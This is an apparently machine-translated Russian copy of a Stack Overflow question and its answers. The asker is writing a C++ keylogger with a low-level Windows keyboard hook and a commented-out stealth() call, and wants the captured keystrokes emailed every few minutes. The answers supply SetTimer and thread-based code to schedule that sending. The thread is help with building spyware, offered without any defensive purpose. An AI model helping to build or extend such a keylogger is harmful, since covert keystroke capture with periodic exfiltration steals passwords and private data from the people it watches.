winapi — проблема интервала основного цикла win32 Переполнение стека

Я делаю кейлоггер, который регистрирует нажатия клавиш (дух ..). Теперь, когда я реализовал основной кейлоггер в C ++, я хотел добавить в приложение новую функцию: я хочу, чтобы оно отправляло журналы на мою электронную почту. Пока все хорошо, я нашел этот почтовый клиент с открытым исходным кодом, который идеально подходит для моих нужд. Единственная проблема, которую я имею, — заставить приложение отправлять журналы с интервалом в x минут.

int main(int argc, char *argv[])
{
//stealth();
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
if(hHook == NULL)
{
cout << "Hook failed" << endl;
}

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

return 0;
}

Каким-то образом мне нужно реализовать какой-то счетчик, который в какой-то момент будет использовать функцию Отправить();.
Кто-нибудь знает, как изменить цикл MSG для выполнения функции Отправить(); каждые 5 минут?

2

Решение

Посмотрите на SetTimer Функция, я думаю, она делает именно то, что вам нужно.

Перед циклом обработки событий вы должны вызывать эту функцию с желаемым интервалом и передавать ей функцию обратного вызова. В качестве альтернативы вы можете использовать другую функцию CreateTimerQueueTimer

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}

UINT timer = SetTimer(NULL, 0, 500, &TimerProc);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

KillTimer(NULL, timerId);
2

Другие решения

Создайте новый поток в sleep x milis, а затем отправьте в некоторое время (! Прерванный) цикл.
Как вы, возможно, знаете, одновременный доступ к одним и тем же данным для чтения и записи из двух отдельных потоков вызовет ошибку.
http://msdn.microsoft.com/en-us/library/kdzttdcb(v=vs.80).aspx

Чтобы избежать этого вы можете использовать критический раздел

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908(v=vs.85).aspx

Или просто переведите ваш поток в спящий режим и установите для логического значения значение true, означающее «да, мы достаточно подождали», и ваша основная функция всегда отправляет данные, когда это логическое значение равно true, а затем возвращает значение false.

редактировать:
Я считаю, что это более простой способ архивировать это

while(!interrupted) { // Your thread will do this.
sleep(60000);
maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
send();
maysend = false;
}
1

По вопросам рекламы [email protected]